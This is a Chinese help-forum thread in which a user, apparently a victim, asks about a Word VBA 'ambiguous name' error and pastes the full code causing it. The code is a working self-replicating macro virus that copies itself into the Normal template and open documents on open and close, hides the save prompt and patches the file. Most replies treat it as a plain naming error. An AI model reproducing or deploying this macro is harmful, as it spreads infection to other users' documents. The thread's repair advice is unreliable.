打开word vb提示“发现二义性的名称 relax2” 求高手指教

代码如下:
'RELAX
Private Sub RELAX2()
End
End Sub

Private Sub Document_Close()
Call GOODSub
Call RELAX2
End Sub

Private Sub GOODSub()
On Error Resume Next
Application.ScreenUpdating = False
Application.Options.SaveNormalPrompt = False
x$ = "C:\temp.tmp"
MacroContainer.VBProject.VBComponents.Item("ThisDocument").Export x$
Open x$ For Input As #1
keimeno = Input(LOF(1), 1)
Close #1
kk& = InStr(1, keimeno, "'RELAX")
keimeno = Right$(keimeno, Len(keimeno) - kk& + 1)
For j = 1 To 2
If j = 1 Then
NormalTemplate.VBProject.VBComponents.Item("ThisDocument").Export x$
Else
ActiveDocument.VBProject.VBComponents.Item("ThisDocument").Export x$
End If
Open x$ For Input As #1
rlx = Input(LOF(1), 1)
Close #1
d1 = InStr(1, rlx, "'RELAX")
If d1 = 0 Then
If j = 1 Then
NormalTemplate.VBProject.VBComponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
NormalTemplate.Save
Else
ActiveDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
End If
End If
Next j
'====================
Dim PRostasia As Byte
PRostasia = 1
fff = FreeFile
If Dir(ActiveDocument.FullName, 6) <> "" Then
Open ActiveDocument.FullName For Binary As #fff
Put #fff, 862, PRostasia
Close #fff
ActiveDocument.Save
End If
Kill x$
Application.ScreenUpdating = True
End Sub

Private Sub Document_Open()
Call GOODSub
End Sub

第1个回答  2012-03-01
我把这些代码全部都删了就没事了。
第2个回答  2011-12-09
这是所有的代码么?
不是吧~
他的意思是你的relax2定义了至少2次!追问

还有什么需要提供的啊 这方面我是一点不懂 能不能直接告诉我怎么操作啊
谢谢了 orz!!!

第3个回答  2012-10-26
我把你的代码复制在我电脑里,解决了,我晕。。。。。
第4个回答  2011-12-09
Private Sub RELAX2()
End
End Sub

Private Sub Document_Close()
Call GOODSub
Call RELAX2
End Sub

改成
Private Sub Document_Close()
Call GOODSub
end
End Sub追问

大哥 好像还是不行诶
Private Sub RELAX2()
End
End Sub 这一段要不要删啊
我电脑是不是中了宏病毒啊

追答

当然要删啊

追问

出现新的提示:“发现二义性的名称Document_Close”

追答

你检查下 是不是有2段 Document_Close 相同的代码

追问

NormalTemplate.VBProject.VBComponents.Item("ThisDocument").Export x$
Else
ActiveDocument.VBProject.VBComponents.Item("ThisDocument").Export x$
End If
NormalTemplate.VBProject.VBComponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
NormalTemplate.Save
Else
ActiveDocument.VBProject.VBComponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
End If
不要放弃我啊 大哥

追答

你加我百度HI 直接发文件给我

本回答被提问者采纳